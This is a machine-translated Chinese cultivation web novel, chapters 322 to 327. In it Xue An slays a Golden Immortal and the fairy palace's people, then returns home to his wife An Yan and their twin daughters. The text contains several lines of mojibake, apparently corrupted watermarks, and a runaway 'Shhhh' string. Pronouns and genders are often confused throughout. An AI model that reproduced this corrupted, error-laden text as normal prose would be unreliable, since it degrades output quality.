    Zhu Ruyan suddenly took a deep breath and gradually calmed down.


    She remembered a secret method her mother mentioned when she practiced the family privet exercises!


    As long as you sacrifice yourself as a sacrifice, you can help a person to improve their cultivation to the greatest extent.


    But the premise is that you have to have unreserved trust in this person!


    The consequence of the sacrifice is that oneself will fly away!


    Thinking of this, Zhu Ruyan suddenly smiled.


    Your lord... this time, I will help you cut the immortal!

 Chapter 322： I was the supreme of the heavens

    At this time, Venerable Danxin''s fist blasted again.


    This time the fist has more than doubled its strength, and the situation changes wherever he goes.


    Xue An snorted coldly, and countless sword qi emerged, forming a huge sword light, which pierced the punch straight.


    However, this sword light only resisted less than a breath, and then it shattered.


    "Xue An, it''s useless, you simply can''t understand what the concept of Golden Immortal Peak is!" Venerable Dan Xin said with a sneer.


    But at this moment, a cold female voice came, "My lord!"


    Xue An turned his head and saw Zhu Ruyan sweeping the hair beside his ears, and smiled brightly, "These days, thank you very much!"


    After speaking, a raging flame rose from Zhu Ruyan''s body.


    "Causal flames! How could it be possible! What is this woman going to do?" Venerable Danxin exclaimed.


    He didn''t pay attention to Zhu Ruyan just now, thinking that he was just an ant.


    But now the causal flames appearing on Zhu Ruyan''s body are extremely domineering celestial fires.


    What is she going to do?


    Xue An was startled slightly, and then seemed to understand something, and frowned, "Ruyan!"


    Zhu Ruyan in the fire whispered softly: "I would like to offer sacrifices with my soul to help adults!"


    Stop talking!


    A force of cause and effect suddenly concentrated on Xue An.


    But Zhu Ruyan''s body plopped and fell to the ground, not knowing his life or death!


    This scene shocked everyone.


    This woman... unexpectedly offered a sacrifice to Xue An!


    This is crazy!


    Venerable Danxin''s eyelids were also beating vigorously.


    At this time, Xue An''s eyebrows drooped, and he shook his head gently, "Why are you so stupid?"


    "A golden fairy, why is this?"


    "But since you have done this, I will kill them first!"


    After that, Xue An raised his head, her eyes bright as stars.


    "kill!"


    With that, Xue An suddenly turned into a streamer, and came straight to Venerable Danxin.


    "Haha, it''s useless! How much causal power can a sacrifice of a mortal woman have? It can''t change your fate of death!" As he said, Venerable Dan Xin stretched out his hand.


    It just blocked the rushing Xue An.


    "Is it just so capable? Too slow!" Venerable Danxin said with a grinning smile, just about to do it.


    Suddenly, Xue An smiled.


    At the same time, Xue An smashed a fragment of fairy in his hand.


    A terrifying power suddenly broke out.


    A hint of surprise appeared in the eyes of Venerable Danxin.


    "What''s going on? This...this is the aura of Emperor Haoyu!"


    That''s right, the Xiange who was crushed by Xue An is the emperor Haoyuhuang''s!


    Seeing this divine light, Xue An said lightly: "Borrow it for a use!"


    Venerable Danxin finally understood what Xue An was going to do, and shouted in horror: "How is it possible, how can you use other people''s fairy tales to condense your supernatural powers? Who are you?"


    Xue An didn''t bother to pay attention to him at all, but said lightly: "Cause and effect!"


    boom.


    Taking Haoyu Emperor this silk fairy as a sacrifice, Xue An finally used his magical power that smashed the heavens and the world.


    cause and effect!


    Under cause and effect, the Bodhisattva is an ordinary man, and the Immortal King is also a fish!


    This is an incomprehensible supernatural power.


    Although it is a broken version that cannot be broken.


    However, he still kept the Venerable Dan Xin firmly, making him unable to move at all.


    Xue An raised his fist, showing a few white teeth, and smiled sensibly, "Now... it''s me!"


    After speaking, a punch came out.


    Under his magical power, cause and effect reversed.


    The strength of Venerable Danxin was weakened to the lowest level, but Xue An possessed the supreme power.


    Therefore, under this punch.


    Venerable Dan Xin could only shout in horror, and he was blasted out without the strength to resist.


    In the middle of the air, he vomited blood and was terrified. He gritted his teeth and desperately urged his life-saving magic weapon to escape.


    Xue An certainly wouldn''t give him this opportunity, and said softly: "Reverse!"


    Causal reversal!


    Venerable Danxin felt that his whole body''s cultivation was passing away like flowing water, and his whole person was aging at a speed visible to the naked eye.


    "What''s going on, no... don''t!" Venerable Dan Xin smelled death and shouted in horror.


    Xue An appeared behind him and whispered in the ear of Venerable Danxin.


    "Don''t you want to know who I am? I will tell you now that I was the head of ten thousand immortals, the supreme of the heavens!"


    The expression on Venerable Danxin''s face solidified, and then, starting from the top of his head, it gradually turned into fly ash and dispersed with the wind.


    In the blink of an eye, Venerable Danxin disappeared.


    But a dazzling fairy stayed in place.


    Xue An picked it up and sealed it up.


    At this point, he has got two cents.


    As for the trace of Emperor Haoyu, it has been wiped out as a sacrifice.


    Everyone stared blankly, and some of them couldn''t stop shaking.


    Xue An ignored them, but looked up at the elders and disciples in the fairy palace, and then rushed forward.


    These people were terrified when they saw that the head and the master were killed by Xue An.


    Xue An rushed, scared them to turn around and ran.


    "Sword up!"


    The immeasurable sword light appeared again, covering the sky and the sun, even blocking the moonlight.


    "kill!"


    boom!


    These sword lights fell, covering all the people of the fairy palace.


    Most of these people are scattered immortals, and some are half-step longevity or longevity cultivation.


    But in the face of these sword lights, they didn''t have the power to fight back.


    Soon, blood was splashing, and the fairy fell like rain!


    After a while, everyone in the fairy palace died.


    Xue An stood in the air, like a god, overlooking the earth.


    thump!


    Some people with shallow cultivation were swept by Xue An''s eyes, and fell to the ground uncontrollably.


    Even though he was barely standing, he was shaking all over at the moment.


    Xue An ignored these people, he searched the fairy palace in a moment with divine thoughts, and then shook his head.


    "Calling a fairy palace in vain, but the family is so shabby! Hey, this is not bad!"


    As he said, with a wave of his hand, a gray ring flew from the fairy palace into Xue An''s palm.


    "Okay! This place is boring to look at, kill it!" As he said, Xue An took a step.


    boom!


    The whole fairy palace was like an earthquake, and it began to shake violently, then cracks appeared and collapsed.


    At this point, the fairy palace that was once aloof disappeared.


    Xue An fell back to the ground, a **** light ball appeared in his hand, and then came to Zhu Ruyan.


    "This time, I will give you a great opportunity!"


    Having said that, Xue An pressed the light ball on Zhu Ruyan''s forehead and squinted his eyes slightly.


    Zhu Ruyan''s spirits scattered by the sacrifice were gathered again.


    boom.


    Zhu Ruyan felt a shock all over, and then slowly opened his eyessir? Am I dead? "


    Xue An smiled, "You are not dead, the people in the fairy palace are dead!"


    "Then I..." Zhu Ruyan was a little strange, how could he not be so soulless?


    Xue An said indifferently: "I want to kill that golden immortal, but I don''t need you to sacrifice my soul, and I haven''t used the power of cause and effect, so you are naturally fine!


    After that, Xue An turned around and looked at these sect families.


    "The fairy palace is destroyed, are you dissatisfied?"


    These people all trembled together, and then quickly shook their heads.


    "My lord, I am waiting to obey!"


    Xue An nodded, "Very good!"


    At this point, Xue An has overwhelmed Kunlun with supreme power!


    Be the first person in the world!

 Chapter 323： It’s up to you

    When the news spread, the whole Kunlun was silent.


    The people who once clamored that Xue An would die were all afraid to speak.


    The immortal palace was destroyed, even the golden immortals were killed, and the whole family was slaughtered!


    These things made Xue An a well-deserved peerless **** of killing!


    Many people can''t help but lament.


    "Unexpectedly, my Kunlun Wonderland was suppressed by a secular man and couldn''t raise my head."


    But they only dared to say these words in their hearts.


    As for the many sects of the family, they were all silent at the moment, for fear that something else would provoke Xue An and cause the killing **** to destroy himself.


    When Zhu Ruyan''s brother Zhu Lei and others learned of the news, they all fell silent.


    After the meeting, Zhu Lei smiled bitterly: "It seems that we are really short-sighted! If we didn''t go away then, now relying on this relationship, how noble would we be?"


    Zhu Lei''s words made all these people sigh.


    And in Qingmu Town.


    Bian Qingmu didn''t know the news at first.


    She was busy in the town that day, and suddenly a mighty team came.


    Bian Qingmu thought it was an enemy attack and immediately rang the bell.


    But after waiting for the preparations, he discovered that the enemy was not here.


    It was a gift-giving team from various families in Jizhou City.


    Bian Qingmu was stunned.


    What''s going on?


    Why did these family sects, who usually dominate, suddenly become so polite?


    It was not until later that Bian Qingmu learned the news from these smiling faces.


    These family sects were all frightened by Xue An''s deeds, for fear that Xue An would come back to trouble them again because of Jizhou!


    In a hurry, I suddenly remembered that Bian Qingmu and Xue An had a good relationship, so they prepared generous gifts and came to apologize.


    After listening, Bian Qingmu couldn''t help but laugh and cry.


    At the same time, he was amazed.


    Xue An, the man who was almost considered a liar at the beginning, has grown into a prominent figure in the public eye step by step.


    This time, he directly pressed everyone and became the lord of Kunlun.


    Even with his own identity, things have risen and become noble.


    Want to come, really embarrassed.


    And these things, Xue An did not know.


    He spent another two days in the Kunlun main city.


    In the past two days, countless clan families have tried every means to please Xue An.


    Xue An ignored this at all.


    Many people thought that Xue An would rely on this supreme prestige to become the lord of Kunlun.


    But they didn''t know at all, in Xue An''s opinion, this little Kunlun was nothing at all!


    By the way, there are also a few sects including the Qianxuemen Night Demon Palace Overlord Sect, although their lord was killed by Xue An, but the foundation is still there.


    But this time the news of Xue Anli''s killing of the immortals spread, and the lives of these sects were afraid that Xue An would retaliate again, so they actually scattered and fled.


    At this point, these sects have disappeared.


    However, Xue An did not do nothing in the past two days.


    He taught Zhu Ruyan a practice method!


    On that day, he extracted the essence and blood of many fallen immortals and gave it to Zhu Ruyan.


    This also laid an extremely solid foundation for her practice.


    This is also a great opportunity for Zhu Ruyan.


    When Zhu Ruyan remembered the exercises, Xue An nodded, "It''s up to now, I should go back too!"


    Zhu Ruyan was reluctant to give up, "My lord, let me return to the world with you!"


    Xue An smiled, "You are a member of Kunlun, so you should cultivate here! And I am not going to come back! This world cannot be wasted!"


    Zhu Ruyan nodded when he heard the words.


    Then Xue An turned the sword with his hand and slashed it directly with a single sword. A black crack appeared in the air. Xue An stepped in and disappeared into Kunlun.


    Zhu Ruyan stared blankly at the space that had returned to normal, feeling empty in his heart.


    At this moment, Lu Xunxue came quietly and shook his head: "Actually, you shouldn''t let him go!"


    Zhu Ruyan lowered his head, tears bursting into his eyes, "My lord... I have a family! And I have no other extravagant hopes. As long as I can be his servant, I will be satisfied!"


    Lu Xunxue let out a long sigh, bowed her head silently.


    And at the moment.


    Kunlun Mountain in the earth.


    On a hill with beautiful scenery, the space fluctuated violently, and then Xue An appeared in the air.


    As soon as he came back, Xue An couldn''t help but sigh softly.


    Because he discovered that the aura on this earth is actually slightly stronger than when he left.


    However, the increase is very subtle, which is only detectable by people like Xue An who are very sensitive to spiritual fluctuations.


    strange.


    Could it be that I have been away for a long time?


    Xue An looked up and looked around, but found nothing unusual.


    There is only a small Taoist temple in the distance.


    Xue An flew directly here.


    A little Taoist priest is cleaning the courtyard.


    Xue An descended from the sky and looked stupid on this little Taoist priest.


    "Excuse me, when is it?"


    The little Taoist stared blankly, but he still didn''t react.


    Xue An frowned slightly and said softly, "Offended!"


    With that, he obtained the information he wanted directly through divine thought.


    Well, only two months have passed!


    In many cases, the secret realm and the earth are not on the same timeline.


    In this case, one day will often appear in the secret realm, but the earth has passed a year.


    This is also in folklore, a day in the sky equals a year on the earth.


    Since the time has not been long, Xue An can rest assured.


    "Thank you!"


    After Xue An finished speaking, the whole person rose into the sky, turned into a streamer, and disappeared into the sky.


    The little Taoist stood there, standing blankly like a statue.


    Until an old Taoist priest came out and shouted: "You''re lazy again, aren''t you? Why don''t you scan it!"


    The little Taoist woke up like a dream, and then trembled: "Master, I just saw a god!"


    "God? Fairy shit! You stole your teacher''s wine again! You are not allowed to eat at noon!" The old way scolded a few words and went back to the house.


    The little Taoist held the broom and shed tears aggrieved.


    That was clearly a **** just now!


    Xue An feels like an arrow at the moment, and is not in the mood to take a plane anymore.


    After the breakthrough is a half-step longevity, the Void Flying Drift will not consume much energy.


    So he chose to fly directly to Beijiang.


    Beijiang, Tianzi No. 1 Villa.


    An Yan is playing in the garden with her two daughters Xiaosha is lying aside and sleeping.


    Since An Yan came, it didn''t have to go to work with Tang Xuan''er.


    After eating all kinds of cooked food every day, I lie down to sleep.


    As time passed, it made it lazy.


    "Mom, Xiao Sha is really lazy!" Xue Xiang said.


    "Yeah! I just grabbed it by its ears and asked it to get up and play with me, but when I let go, I lay down again! What a lazy worm!" Xue Nian said with anger.


    An Yan smiled and was about to speak.


    Xiao Sha, lying on the ground, stood up suddenly, looking up at the sky as if it were powered on.


    "What''s the matter?" An Yan was also surprised.


    But immediately, I saw two little girls cheering and shouting: "It''s Dad! Dad is back!"

 Chapter 324： Quiet time

    Xue An was flying back to Villa No.1 Tianzi directly after falling to the ground.


    The two little girls cheered and jumped into his arms.


    Xue An embraced her two daughters dozingly.


    "Dad, what have you been doing during this time! Nian Nian and I miss you so much!" Xue Xiang put his arm around Xue An''s neck and said affectionately.


    "Dad is going to fight monsters!" Xue An deliberately teased his two daughters.


    When they heard the monster beating, the eyes of the two little girls lit up.


    "Dad, who is amazing, you and Ultraman?" Xue Nian asked with blinking big eyes.


    Xue An nodded solemnly, "Of course Dad is great!"


    "How does that compare with Sailor Moon?" Xue Xiang asked eagerly.


    "It''s also a great dad!" Xue An said with a smile.


    "Yeah!" The two little girls cheered.


    "Then dad, will you transform?" Xue Xiang asked.


    "Transform?"


    "Yes! Transform like Sailor Moon, super powerful!" Xue Xiang''s eyes flashed.


    Uh����.


    Xue An suddenly felt that these two little girls seemed to be too fascinated by watching anime.


    "Okay, I miss you, of course my father will transform, but it takes you two to be obedient before he will transform to show you!" An Yan said with a smile.


    "Hmm! We are obedient!" Xue Xiang and Xue Nian said in unison.


    "Here, this is a small gift for the two of you!" Xue An said, taking out two small ornaments made with a thousand-year-old green wood heart.


    "Hey, Dad, isn''t this a pan?" Thinking about it, fiddling with surprise.


    Xue An refined the Thousand-Year Aoki Heart into two protective cards, and feared that the two daughters would not like it, so he simply made it into a small pan.


    Xue An smiled and nodded, "Do you like it?"


    "Hmm! I like it, thank you Dad!"


    The two little girls kissed Xue An on one cheek and went to play in the house happily.


    Xue An just stood up, looked at the pretty An Yan, smiled slightly, "Yan''er."


    An Yan''s eye sockets were reddish, and she swept the temples near her ears, and whispered, "Husband!"


    Two simple words are worth a thousand words.


    Xue An stepped forward and lightly took An Yan into his arms.


    An Yan struggled a little, a little shy and said: "Thinking and thinking are there!"


    Xue An rubbed her little head and chuckled softly: "I have blocked both of them."


    An Yan gave a hum, and buried his head in Xue An''s arms.


    The two embraced each other quietly, enjoying this warm time.


    At this time, Xiao Sha was quietly backing away.


    Xue An��s so-called shielding is just a very simple blind method, effective for the two little girls, but not at all.


    So in the scene just now, he saw it all.


    Although Xiaosha can''t speak, he has the same mind as a twelve or thirteen-year-old child.


    Seeing the adults and the mistress are sprinkling dog food, it quickly slipped out.


    If this is discovered by an adult, there will be no good fruits of your own!


    But when it was about to exit the backyard, he was relieved.


    Xue An''s faint voice came, "What are you running?"


    Xiao Sha froze, then turned around and stuck out his tongue at Xue An to please.


    Xue An was a little bit dumbfounded, "You are also a dragon, why are you more and more like a puppy now?"


    "And..." Xue An walked over and looked at Xiaosha''s increasingly round waist with some helplessness.


    "You should lose weight!"


    After a while.


    boom!


    Xue An was like throwing a cannonball, and directly threw Xiaosha from the top of the mountain into Yunmeng Lake in the distance.


    Xiaosha shed tears aggrieved in midair.


    My lovely roast chicken roast duck braised pig''s trotters knuckle pickled pig ears....


    farewell!


    Then he plopped and fell into the lake, his whole body turned into a dragon, turned over depressed, and sank to the bottom of the lake.


    An Yan looked worriedly, "Husband, is this too strict? Although it is a dragon, it still looks like a child!"


    Xue An smiled, "It''s okay, I''m also helping him, otherwise a flood dragon will eat and sleep all day long, and wake up and eat, it will be a shame!"


    "����,Ok!"


    The breeze was slowly blowing, and the two of them sat on the benches under the trees, surrounded by trees, and in the villa behind them, there was the noise of two little girls from time to time.


    This quiet and warm atmosphere made Xue An''s heart suddenly a word.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    The years are quiet.


    "Yaner!"


    "Ok?"


    "Let��s get married!"


    There was a long silence.


    "Oh!" An Yan lowered her head and responded softly.


    "Oh what do you mean?" Xue An asked with a smile.


    An Yan raised her head, her face was filled with tears, but she smiled happily, "Oh, it means I am very willing!"


    Xue An looked at this silly girl dozingly, hugged her distressedly, and An Yan leaned on his shoulder.


    "Yan''er, this time, I will give you a wedding that is unparalleled in the world! Make up all the shortcomings before!" Xue An said seriously.


    "I''m not asking for anything else, in fact, it''s fine now!" An Yan whispered.


    "I said that I will make you the happiest woman in the heavens and all realms, then I must do it!"


    Xue An said with a smile, flipping his hands to reveal the two fairy grids.


    "What do you think this is?"


    Although An Yan doesn''t know what these two fairy tales are, but they can feel the huge energy contained in them.


    "This is Jinxian''s fairy tale, which can break part of the seal for you!" Xue An said.


    An Yan trembled all over, did not think about the seal on her body, but trembled.


    "Golden fairy?"


    "Yes!"


    An Yan''s eyes are red again, she is now a cultivator, and of course she knows what the golden fairy means.


    That''s a big man who can crush a world!


    Xue An, however, for his own seal, beheaded the golden immortal to obtain a fairy, and there were still two.


    "What''s wrong?" Xue An is still a little unsure.


    Although he used to be an immortal, but he can''t fully grasp the delicate thoughts of girls.


    An Yan took a deep breath, and said in a serious tone: "Husband, the seal on my body is not in the way. We can crack it slowly. Don''t take risks like this in the future, okay?"


    said, An Yan lowered his head, "Because...I will be worried!"


    Xue An was startled, and was suddenly moved.


    For such a girl, no matter how much you give, it is worth it.


    "Hmm! I listen to you! These two fairy tales can''t be wasted!"


    As he said, Xue An looked solemnly, and a white flame rose in his hand, and the two fairy tales were merged by the flame into a small ball of light.


    Then Xue An drew a mysterious seal on An Yan��s forehead and snapped.


    The ball of light penetrated into it.


    boom.


    An Yan''s aura suddenly soared, while the energy of Xiange quickly wandered through his body.


    Somewhere in the depths of An Yan''s soul, a group of gray marks exuding a powerful aura was rushed by the energy of this fairy, and it became brighter.


    Xiange''s energy quickly began to gather, and began to bombard one after another.


    Click!


    There was an undetectable crack on the gray mark.


    But at the same time, the energy of Xiange has also been exhausted.


    Xue An had anticipated this.


    Two fairy grids, it is impossible to unlock this seal.


    After all, this is the seal placed by the fairy king.


    Thinking of this, Xue An''s heart had infinite killing intent.


    No matter who you are, if you dare to seal my wife, you will kill her!

 Chapter 325： True Spirit Tool Level Pan

    But this killing intent was fleeting, and then Xue An smiled and said to An Yan: "Okay! Does it feel like?"


    An Yan closed her eyes and felt it, then shook her head, "Nothing feels!"


    But then, her aura began to rise steadily.


    Soon, he broke through from Xiaoyao to Tianren!


    And still did not stop, and directly broke through the peak of the heavens and humans, reached the half-step Sanxian cultivation base, and then stopped.


    Even Xue An couldn''t help being a little surprised.


    Others are struggling to advance through cultivation, but it is not easy for their own wife to get through. Breaking through the realm is as simple as eating and drinking.


    "My husband, I seem to have broken through again!" An Yan said.


    Xue An scratched her nose and said with a smile: "It doesn''t seem to be, this is a breakthrough! It seems that my wife is a genius in practice!"


    An Yan blushed when he was said, but he raised his head proudly, "Yes, and maybe I can surpass you in the future! At that time, I will protect you! Hee hee!"


    "Yes, Master Yan''er!" Xue An said with a smile.


    just when the two of them were chatting with each other.


    Wanna and Niannian secretly watched from a distance.


    "Sister, what are mom and dad doing?" Nian Nian asked.


    "Shhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh


    "Huh? Sister, do you understand?" Nian Nian asked with her big eyes blinking.


    "Of course!" Think of a proud face, "I was born five minutes before you!"


    then cleared his throat, lowered his voice and said, "Dad and mom are in love!"


    "fall in love?"


    "Hmm!"


    "Then what is love? Can you eat it? Is it delicious?"


    The standard read three consecutive questions.


    Xue wanted to frown and tap Xue Nian''s head lightly, "I know how to eat! Love is about talking, you can��t eat!"


    "Oh!" Xue Nian lost interest when he heard that he couldn''t eat.


    She lowered her head and began to play with the small pan that Xue An gave her, made by Qing Mu Xin.


    This thing is blue and green, it looks delicious.


    Xue Nian swallowed and took a peek at her sister Xue Xiang, and found that she hadn''t noticed, so he secretly put it to his mouth and took a bite.


    What I didn''t expect was that after Xue Nian took a bite from this small piece of wood that was only 35 cm in size, it suddenly grew many times larger.


    has become the size of a normal pan.


    Xue Nian was frightened by this sudden change, and trembled: "Sister...Sister!"


    Xue wanted to turn his head to look, and saw Xue Nian with a huge pot hanging around his neck, and he couldn''t help being stunned.


    "What are you doing?"


    "I didn''t, I just took a bite of the wood, and it turned out like this!" Xue Nian was about to cry.


    At this time, Xue An came over with a smile.


    He had already noticed these two quirky little guys peeking in the distance, he couldn''t help being a little bit funny in his heart, but he still deliberately strained his face.


    "what happened?"


    "Dad, Nian Nian is greedy again, and turned this wood so big!" Xue Xiang also made a big gesture with his hands, full of panic.


    Xue An looked at it, then frowned, "If it''s broken, this thing won''t shrink when it gets bigger. It seems that Nian Nian will live with this pot in the future!"


    "No, I don''t want to live with a pot, it''s ugly, oh oh oh!" Xue Nian started crying with fright.


    An Yan looked at Xue An helplessly, "Don''t tease, Nian Nian is crying!"


    Xue An just smiled, then squatted down and snapped his fingers.


    The pan suddenly shrank back to its original appearance.


    Both little girls looked silly.


    "Dad, how did you do this?" Xue Nian asked with a smile.


    Xue An just took care of his affection and affection with An Yan, and when he gave gifts to the two little girls, he forgot to tell them that the thousand-year-old Aoki heart is a kind of spiritual thing that can be enlarged and reduced.


    "Want to learn?"


    "Hmm!" The two little girls nodded together.


    "Listen, when you make it bigger, you call the beautiful girl to transform! Call Ultraman, it will help you fight monsters! If it can''t play with you, it will shrink back!"


    The eyes of the two little girls opened wide, "Really?"


    "Yes! You can try!" Xue An said.


    Of course, the real law cannot be that simple. This is Xue An''s formula specially tailored for the two daughters.


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    Xue wanted to take off the ornament, "beautiful girl transforms!"


    Aoki Xin suddenly grew into a pan.


    Xue Xiang excitedly shouted again: "Ultraman!"


    The pan turned into a streamer and flew out. After smashing a large rock, it returned to Xue Xiang''s hands.


    "I won''t play with you!"


    The pan has shrunk again.


    "It''s really amazing!" The two little girls sighed together.


    An Yan was a little bit dumbfounded, "How can you be like you? It''s not good to make toys for the two girls, so you can make a pan?"


    "What''s wrong with the pan? It''s a must for home travel, and it''s very lethal!"


    "But... this is not a lady!"


    Xue An chuckled, "Then you are also very slippery?"


    "I... mine is different!" An Yan blushed.


    "Oh, if you want to say that, the gift I carefully prepared is useless!"


    "what gift?"


    Xue An didn''t know where he took out a pan.


    "This is it!"


    An Yan took it, weighed it, and found nothing surprising.


    "Try waving it hard!" Xue An said lightly.


    An Yan waved suddenly as Xue An said.


    I saw a thunder light crashing down, smashing a big tree into fly ash with a click.


    This power stunned An Yan.


    At this time, An Yan felt that a very respectful voice sounded in the pan.


    "Mother!"


    "This...what''s going on?" An Yan asked with some fear.


    Xue An smiled This is a pan of the spirit level that I specially refined for you! As for the one who speaks... Isn''t he showing up yet? "


    Following Xue An��s voice, a huge figure composed of thunder light appeared in the air, and then bowed its head respectfully at Xue An.


    "grown ups!"


    "This is the spirit I refined with a Lei Zun!" Xue An said lightly.


    This pan was made when he was in Kunlun, and it was given to Anyan as a weapon.


    An Yan gradually recovered his calm, and then looked at this big guy with interest.


    "This thing is crackling, is it all made of lightning?"


    "Yes!"


    "Doesn''t it mean that if there is a power outage in the future, you can use it as a generator?" An Yan said with some surprise.


    Xue An was stunned, then nodded dumbly, "It should be... OK!"


    "My husband, I like this gift!" An Yan was happily.


    What An Yan doesn''t know is how precious is such a spirit made of Lei Zun!


    This thing is considered a treasure in any realm of cultivation!


    Xue Anken is so extravagant in the world that he has refined such a good tool into a pan.


    But Xue An didn''t feel much about it. In his opinion, as long as his wife likes it.


    Don''t talk about a Lei Zun, even the innate treasure is not a problem.


    No way, Xianzun favors his wife, that''s how wayward.

 Chapter 326： Domineering Leaky Lao Xie Restaurant

    at dusk.


    There was a patter of autumn rain under the North River.


    "Xuan''er, let me drive you back!" a colleague greeted him enthusiastically.


    Tang Xuan''er smiled and shook her head, "No need! I have to go to my friend first!"


    After speaking, she put on her poncho and walked into the rain curtain.


    When she came to Lao Xie''s restaurant, it was completely dark.


    "Oh, girl Xuan''er, you don''t have to call in advance because it''s raining, so you can thank Uncle to pick you up!"


    After seeing Tang Xuan''er walking in in a poncho, Fat Auntie was shocked to greet her.


    "It''s okay, the rain is not too heavy!" Tang Xuan''er took off her poncho and said with a smile.


    "Look, the hair is wet, wipe it off! Don''t catch a cold!" The fat aunt handed over a dry towel in love.


    "Where is Jingjing?" Tang Xuan''er asked while rubbing her hair.


    "In it, she saw that it was raining, and thought you were not coming, so she was doing homework in the back room by herself!" said the fat aunt with a smile.


    During this period, Tang Xuaner would come to Lao Xie''s restaurant every night to give Xie Jingjing homework.


    "Then I''m going in!" Tang Xuan''er walked into the back room.


    waited until her figure was completely out of sight, and the guests at the tables in the hall sighed.


    "God, this girl is as beautiful as the rumors say! Especially when she laughs, it makes people intoxicated!" A man said obsessively.


    "Ahem, that must be beautiful, otherwise what do you think I come here for dinner at this time every day?" The man at the table said with a smile.


    "Hey, have you ever inquired? What''s your name? Anyway, I have to ask about WeChat or something!" another man salivated.


    "Shhh! Don''t talk nonsense about this! This girl is definitely not an ordinary person!" Someone hurriedly signaled to be quieter.


    "I don''t believe it, what kind of background can someone walk in a poncho by myself?" Some people were unbelieving.


    "Don''t believe me, haha! Let''s not talk about this girl, the background of this restaurant is not what you can imagine!" Someone sneered.


    "Just this small broken hotel can still have a background? Don''t be funny!"


    As soon as this person''s voice fell, a few big men in black appeared outside the hotel, all sturdy in shape, and the leader was holding a black umbrella, and his face was full of anger.


    Seeing this group of people, all the people eating in the room trembled together, and some people couldn''t help but exclaim in a low voice.


    "It''s Xu Jiuye! A master under the boss of Du Fandu!"


    Everyone was also surprised.


    This is a big brother-level figure who has a bit of reputation in Beijiang, how come here on rainy night?


    I was wondering when I saw Xu Jiu tapping on the glass window.


    Just in time, Xie came out, and when he saw this man, he stepped forward to open the door.


    After the door opened, Lao Xie said, "Come in!"


    Xu Jiu showed a flattering smile on his face and nodded and said with a bow: "I won''t enter anymore, I''m covered in rain, and I''ll step on the floor dirty for you! I''m just following my elder brother''s order, come and have a look! Has anyone with eyes long been here?"


    Old Xie shook his head, "Since you sent those guys who came to ask for money last time, there have been no messy people here!"


    "Yes, yes, those guys have been beaten out of Beijiang City by me, and they dare not come back in this life!" Xu Jiu nodded and bowed.


    Some time ago, a few fledgling punks came to Lao Xie''s restaurant for dinner. After eating, they deliberately threw a dead cockroach in, and then asked Lao Xie to lose money, otherwise he would smash the shop.


    Old Xie saw at a glance that these guys had come to blackmail.


    You said yes, but I''m so angry.


    Be angry with these guys, then don''t think about doing business well.


    Thinking of this, Lao Xie was a little embarrassed.


    Or Fat Aunty tentatively called a person named Du Fan that she knew when she was eating at Xue An''s house.


    Du Fan was not in the city at the time, but when he received a call from Aunt Fatty, his cold sweat immediately went down.


    Although Lao Xie and Fat Aunt are just ordinary people, since they were able to show up at Mr. Xue''s banquet that day, it means that they are definitely not a normal relationship.


    If this is a big deal, as soon as Mr. Xue comes back, his head...


    Thinking of this, he gave Lingling a chill, and immediately said: "Reassure Uncle Xie, I will send someone over immediately!"


    After ���� hung up the phone, he immediately notified Xu Jiu, his subordinate in the city, and gritted his teeth on the phone and said: "If this matter can''t be resolved, let''s be finished together!"


    Hearing the serious consequences, Xu Jiu who was drinking in the bar was so frightened that he immediately called his men and rushed over.


    I thought that Jiang Qianglong would come from somewhere, but when I went to the hotel to see it, it turned out to be a few fledgling little gangsters who didn''t know anything!


    And when these little gangsters saw Xu Jiu, they were all shocked!


    There are some people who do not know Xu Jiuye on the road!


    Especially in the minds of these little gangsters, Xu Jiu is simply a god-level existence!


    At that time, Xu Jiu had the heart of killing these people, but he still suppressed his anger and respectfully apologized to Uncle Xie.


    After all, this is what his boss has repeatedly asked, and his attitude must be respectful!


    made Lao Xie a little embarrassed at the time!


    After this incident, Xu Jiu paid attention.


    He doesn''t want to get in with himself because of a little gangster who doesn''t open his eyes one day.


    So he just came around without incident.


    Today is no exception.


    Old Xie looked at the way the group of big men were shaking in the rain, and felt a little sorry, so he took out a hundred dollars with him.


    "Since you insist on not coming in This is a hundred dollars, brothers, go buy a bottle of water and drink!"


    Xu Jiu trembled with fright. If he dared to accept the hundred dollars, Du Fan could eat him.


    So hurriedly waved his hand and declined, "Uncle Xie, don''t be so polite, just take me as one of your juniors. You can talk anytime if you have anything!"


    And the scene where Xu Jiu nodded and bowed, also stunned everyone eating in the restaurant.


    The person who just spoke with a sneer said: "How? Now everyone knows what I said is right! Can Xu Jiu nod and bow, can this be an ordinary person?"


    These people were silent, but they all understood one thing in their hearts.


    This small restaurant is by no means that simple!


    Relatively, that stunning girl will not be an ordinary person!


    At this time, Xie saw Xu Jiu resolutely refused to ask for the money, so he had to take it back, nodded and said, "Thank you!"


    ���¥�~��~1~�������ئئ�.��~��~1z��.c����


    "No hard work, no hard work, this is what it should be! You hurry up and go!" Xu Jiu said with a smile.


    After Old Xie left, Xu Jiu let out a sigh of relief.


    At this time, one of his subordinates asked: "Boss, what is the background of this restaurant? It makes you so jealous?"


    "What''s the background?" Xu Jiu sneered, "Speaking of it can scare you to death! But you don''t have to know so much, just remember that this restaurant must not be offended!"


    "Yes!" All the subordinates responded.

 Chapter 327： Autumn night sitting around the stove

    Xu Jiu felt more relieved and turned around and was about to leave.


    A car stopped to the side of the road, and then a group of people got off the car.


    One man and one woman, followed by two delicate little girls.


    It looks like it should be a family.


    The men are handsome and handsome, and the women are even more beautiful.


    This combination is naturally very attractive.


    Seeing this family, Xu Jiu, who was about to leave, was stunned.


    The man and the woman walked to the restaurant jokingly. When passing by Xu Jiu, the man glanced at him faintly, and then left.


    It wasn''t until the group of people walked into Lao Xie''s restaurant that he trembled all over and woke up.


    This... this man....


    Xu Jiu was in a state of uncertainty.


    The guy next to him smashed his mouth, and said with great surprise: "What a beautiful girl! A hundred times more beautiful than the big stars on TV, really..."


    The rest of the story was not finished, because Xu Jiu kicked out viciously, kicked him down in the rain, and then went up with a violent kick.


